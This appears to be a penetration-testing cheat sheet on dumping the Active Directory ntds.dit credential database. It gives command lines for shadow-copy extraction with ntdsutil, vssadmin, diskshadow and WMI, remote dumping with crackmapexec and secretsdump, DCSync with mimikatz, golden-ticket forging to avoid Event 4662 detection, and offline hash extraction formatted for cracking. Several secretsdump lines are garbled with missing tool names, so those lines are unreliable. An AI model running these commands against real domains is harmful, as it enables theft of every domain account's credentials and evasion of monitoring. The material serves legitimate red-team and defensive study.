Post Exploitation - ntds.dit dumping

Through code execution on a Domain Controller

If code execution could be achieved on a Domain Controller, with sufficient privileges to access the ntds.dit database (file: %WINDIR%\Windows\NTDS\ ntds.dit), multiples Windows utilities can be used to export the ntds.dit.

On a standard Domain Controller installation, the NT AUTHORITY\SYSTEM built-in Windows Account and the Administrators domain group have full control access on the file. Additionally, yet again in a standard configuration, members of the Backup Operators (SID: S-1-5-32-551) domain group have the necessary privileges to open an interactive (and remote) session on the Domain Controllers (SeInteractiveLogonRight) and can make use of the SeBackupPrivilege privilege to open files with the FILE_FLAG_BACKUP_SEMANTICS flag in order to bypass the file access permissions.

As the ntds.dit file is being continuously accessed, the file cannot be directly copied ("The action can't be completed because the file is open in another program"). The copy must be done through the Windows shadow copy mechanism, which leverage a temporary freezing of the I/O requests on the file. The freezing is requested by the Volume Shadow Copy Service (VSS) Windows built-in service, which orchestrate the creation of the shadow copy.

The sensitive information in the ntds.dit file is encrypted using the system Boot Key (also known as the System Key, or SysKey). This key is located in the HKEY_LOCAL_MACHINE\SYSTEM registry hive (C:\Windows\system32\config\ SYSTEM file) and is unique to each Domain Controller. The SYSTEM registry hive (or the Boot Key directly) must thus be exported from the Domain Controller the ntds.dit was copied from. The Windows built-in reg command line utility can be used to do so:



The Windows Active Directory Ntdsutil administration utility can be used as a wrapper around vssadmin to dump the ntds.dit database file.

Ntdsutil will additionally automatically export the SECURITY and SYSTEM registry hives and conduct a defragmentation of the database file (wrapping around the esentutl utility).

Note that the ntdsutil utility requires elevated privileges that are not attributed to members of the Backup Operators domain group (error: error 0x2(The system cannot find the file specified.)).

# One-liner.
ntdsutil "ac i ntds" "ifm" "create full <EXPORT_FOLDER>" q q

# Ntdsutil interactive console.
activate instance ntds
create full <EXPORT_FOLDER>


The Windows built-in Volume Shadow Copy Service administrative (vssadmin) command line utility can be used to create a shadow copy of the Windows install volume in order to make a shadow copy of the ntds.dit database file.

While still available by default, the vssadmin utility has been superseded by the diskshadow utility on Windows Server 2008, and later.

Note that the vssadmin utility requires elevated privileges that are not attributed to members of the Backup Operators domain group (error: Error: You don't have the correct permissions to run this command.).

vssadmin create shadow /for=C:
# Shadow Copy ID: <GUID>
# Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>

# The copy should be done using the DOS copy.exe utility, as the copy PowerShell command, alias for Get-ChildItem seems to have trouble copying from a shadow volume.
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>"

vssadmin delete shadows /shadow=<GUID>


Similarly to the vssadmin utility, the Windows diskshadow utility directly interact with the Windows VSS service.

By default, the diskshadow utility uses an interactive command interpreter but also includes the possibility to execute diskshadow commands directly from a script file.

Note that the diskshadow utility can be used by members of the Backup Operators domain group to create a shadow volume.

The following diskshadow commands can be executed, either through an interactive diskshadow commands interpreter or from a script file by starting diskshadow.exe -s <SCRIPT_FILE>, to create a shadow volume and directly copy the ntds.dit file. In order to make use of the diskshadow.exe's exec "cmd.exe" [...] command, diskshadow.exe must be started in the C:\Windows\System32 directory, otherwise the command execution will fail. If doing so is not a possibility, the copy may also be done outside of diskshadow, after the shadow volume creation.

set context persistent nowriters
add volume c: alias <ALIAS>
expose %<ALIAS>% <DRIVE_LETTER>:
exec "cmd.exe" /c copy <DRIVE_LETTER>:\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>
delete shadows volume %<ALIAS>%

WMI win32_shadowcopy

The Windows Management Instrumentation (WMI) class win32_shadowcopy can be used to create a shadow copy as well:

# Either commands create the shadow copy volume.
wmic shadowcopy call create Volume='C:\'
powershell.exe -Command (gwmi -List win32_shadowcopy).Create('C:\', 'ClientAccessible')

# Lists the shadow copy volume configured in order to retrieve the created shadow copy ID.
wmic shadowcopy
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_ }

# Copies the ntds.dit file directly from the volume shadow copy.
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\NTDS\ntds.dit <EXPORTED_NTDS_DIT>"

# Alternatively creates a symbolic link to the volume shadow copy, allowing the copy to be browsed in Windows Explorer.
# The trainling "\" SHOULD NOT be omitted.
mklink /d <DIRECTORY_FOR_MOUNTING_PATH> \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\

# Will delete all instances of shadow copy volumes.
wmic delete

# Deletes the specified shadow copy volume.
Get-WmiObject Win32_ShadowCopy | ForEach-Object { If ($_.ID -like "<GUID>") { $_.Delete() }}

# Alternatively will prompt for confirmation before deleting a shadow copy volume but require to be started through an interactive command prompt.
wmic:root\cli> shadowcopy delete

Remotely over the network

Remote Volume Shadow Copy

The vssadmin utility can be executed remotely, over the SMB, WMI or DCOM protocols, in order to export the ntds.dit. As implemented in impacket's Python script, the ntds.dit database file is exported in a temporary folder and parsed remotely. CrackMapExec wraps around the methods from

# Wrap around
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds vss
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds vss
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds vss
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds vss

# The -dc-ip option may not be properly taken into account. If so, the domain name can be associated to an IP in the /etc/hosts (Linux) or C:\Windows\System32\drivers\etc\hosts (Windows) file.
# Additionally, a Domain Controller IP can be specified in the target string in place of the domain name.
# -exec-method: smbexec, wmiexec, or mmcexec (over the DCOM protocol).
# Static stand-alone secretsdump binaries for Windows and Linux x64 available at: -dc-ip <DC_IP> -use-vss -just-dc-user "<krbtgt | USERNAME>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>" -dc-ip <DC_IP> -use-vss "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>" -use-vss [-exec <EXEC_METHOD>] "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>"


The DCSync attack consists in leveraging the Active Directory DRSUAPI replication functions (part of the Directory Replication Service (DRS) protocol) to remotely retrieve the specified Active Directory objects' sensible information. The DRSUAPI functions are normally used by the Domain Controllers to replicate the modifications made to AD objects and keep the AD objects consistent across all the Domain Controllers of the forest. The DRSUAPI replication functions are exposed on the network by the Microsoft Remote Procedure Call (MSRPC) DRSUAPI interface on each Domain Controller. Thus, contrary to the others methods explicated so far, no local code execution on a Domain Controller is required to retrieve information from the ntds.dit database.

While multiples DRSUAPI intermediate functions are used in the replication process, the DSGetNCChanges function implements the replication request.

The following privileges on the domain root object are necessary to make replication requests through the DRSUAPI:

  • Replicating Directory Changes (Ds-Replication-Get-Changes, ACE GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

  • Replicating Directory Changes All (Ds-Replication-Get-Changes-All, ACE GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

Those privileges are, in a default Active Directory configuration, granted to the Domain Controllers, ENTERPRISE DOMAIN CONTROLLERS, Domain Admins, Enterprise Admins and Administrators domain groups. For more information on how to retrieve, and potentially exploit, the privileges configured on the domain root object, refer to the [ActiveDirectory] ACL exploiting note.

# Wrap around May however encounter problems if using a Domain Controller machine account NTLM hash.
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds drsuapi
crackmapexec smb <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds drsuapi
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' --ntds drsuapi
crackmapexec <DC_HOSTNAME | DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -H '<NTLM_HASH>' --ntds drsuapi

# Static stand-alone secretsdump binaries for Windows and Linux x64 available at: -dc-ip <DC_IP> -just-dc-user "<krbtgt | USERNAME>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>" -dc-ip <DC_IP> "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>" "<DOMAIN>/<USERNAME>:<PASSWORD>@<DOMAIN | DC_IP>" -hashes <LM_HASH:NTLM_HASH> <DOMAIN>/<USERNAME>@<DOMAIN | DC_IP>"

# If an error "0x00000003 (3) - ERROR_NOT_UNIQUE" is returned, the domain of the user should be specified as well (<DOMAIN\USERNAME>).
mimikatz # lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> [/all | /user:<krbtgt | USERNAME | DOMAIN\USERNAME>]

Invoke-Mimikatz -Command '"/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> [/all | /user:<krbtgt | USERNAME | DOMAIN\USERNAME>]"'

Note that whenever a replication request is made by any security principals that is not a machine account member of the Domain Controllers / ENTERPRISE DOMAIN CONTROLLERS domain groups, Windows Security events Event 4662: An operation was performed on an object are generated. The generated events will have, in the Property attribute, the 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 GUID, and can thus be effectively used to detect DCSync attacks. In order to avoid the generation of such events, the identity of a Domain Controller can be usurped, either after the compromise of a Domain Controller machine account NTLM hash or the compromise of any of the krbtgt account secret.

Indeed, with knowledge of a secret of the targeted domain's krbtgt account, a golden ticket impersonating a Domain Controller can be generated to conduct replication operations without raising Windows Security events (Event 4662: An operation was performed on an object). The golden ticket can be crafted using mimikatz kerberos::golden module or impacket's For more information on golden tickets, refer to the [ActiveDirectory] Golden Tickets note.

# The <IMPERSONATED_DC_RID> can be obtained using:
(New-Object System.Security.Principal.NTAccount("<DOMAIN>","<DC_MACHINE_ACCOUNT")).Translate([System.Security.Principal.SecurityIdentifier]).Value

# mimikatz can be used to inject the generated golden ticket in the current session, allowing for direct use of "mimikatz # lsadump::dcsync".
mimikatz.exe "kerberos::golden /user:<IMPERSONATED_DC_MACHINE_ACCOUNT> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> [/rc4:<KRBTGT_NTLM> | /aes128:<KRBTGT_AES128> | /aes256:<KRBTGT_AES256>] /id:<IMPERSONATED_DC_RID> /groups:516 /sids:S-1-5-21-<DOMAIN_IDENTIFIER-AUTHORITY>-516,S-1-5-9 /ptt" "exit"

For more information on how to impersonate a Domain Controller after the initial compromise of its machine account NTLM hash refer to the [ActiveDirectory] Silver Tickets note.

ntds.dit credentials information extraction

The impacket's secretsdump Python script and PowerShell cmdlets of the DSInternals module can be used to extract account(s) credentials information from a specified ntds.dit file. -user-status -ntds <NTDS_DIT_FILE> -system <SYSTEM_HIVE_FILE> LOCAL

$key = Get-BootKey -SystemHivePath '<EXPORTED_SYSTEM>'
# By default all of the account(s) secrets are retrieved (NTHashHistory, LMHashHistory, Kerberos AES keys, etc.).
# The PowerShell cmdlet Format-Custom can used to automatically extract the LM / NTLM hashes of the output in a format supported by hashcat (HashcatNT) or John the Ripper (JohnLM / JohnNT).
Get-ADDBAccount -All -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key
Get-ADDBAccount -SamAccountName "krbtgt" -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key

Get-ADDBAccount -All -DBPath '<EXPORTED_NTDS_DIT>' -BootKey $key | Format-Custom -View <HashcatNT | JohnLM | JohnNT> | Out-File <OUTPUT_FILE>

If the exported ntds.dit database file appears to be corrupted, the Windows Extensible Storage Engine Utilities (esentutl) utility may be used in order to check the integrity and attempt a repair of the database file. esentutl must be run on a Domain Controller to satisfy external dependencies, such as the ntdsai.dll DLL, needed to interact with a ntds.dit database.

# Checks the integrity of the database file. The check may fail even is the database is not corrupted with the error message "Database was not shutdown cleanly".
esentutl /g <EXPORTED_NTDS_DIT>

# Attempts a repair on the specified ntds.dit database file.
esentutl /p <EXPORTED_NTDS_DIT>


Last updated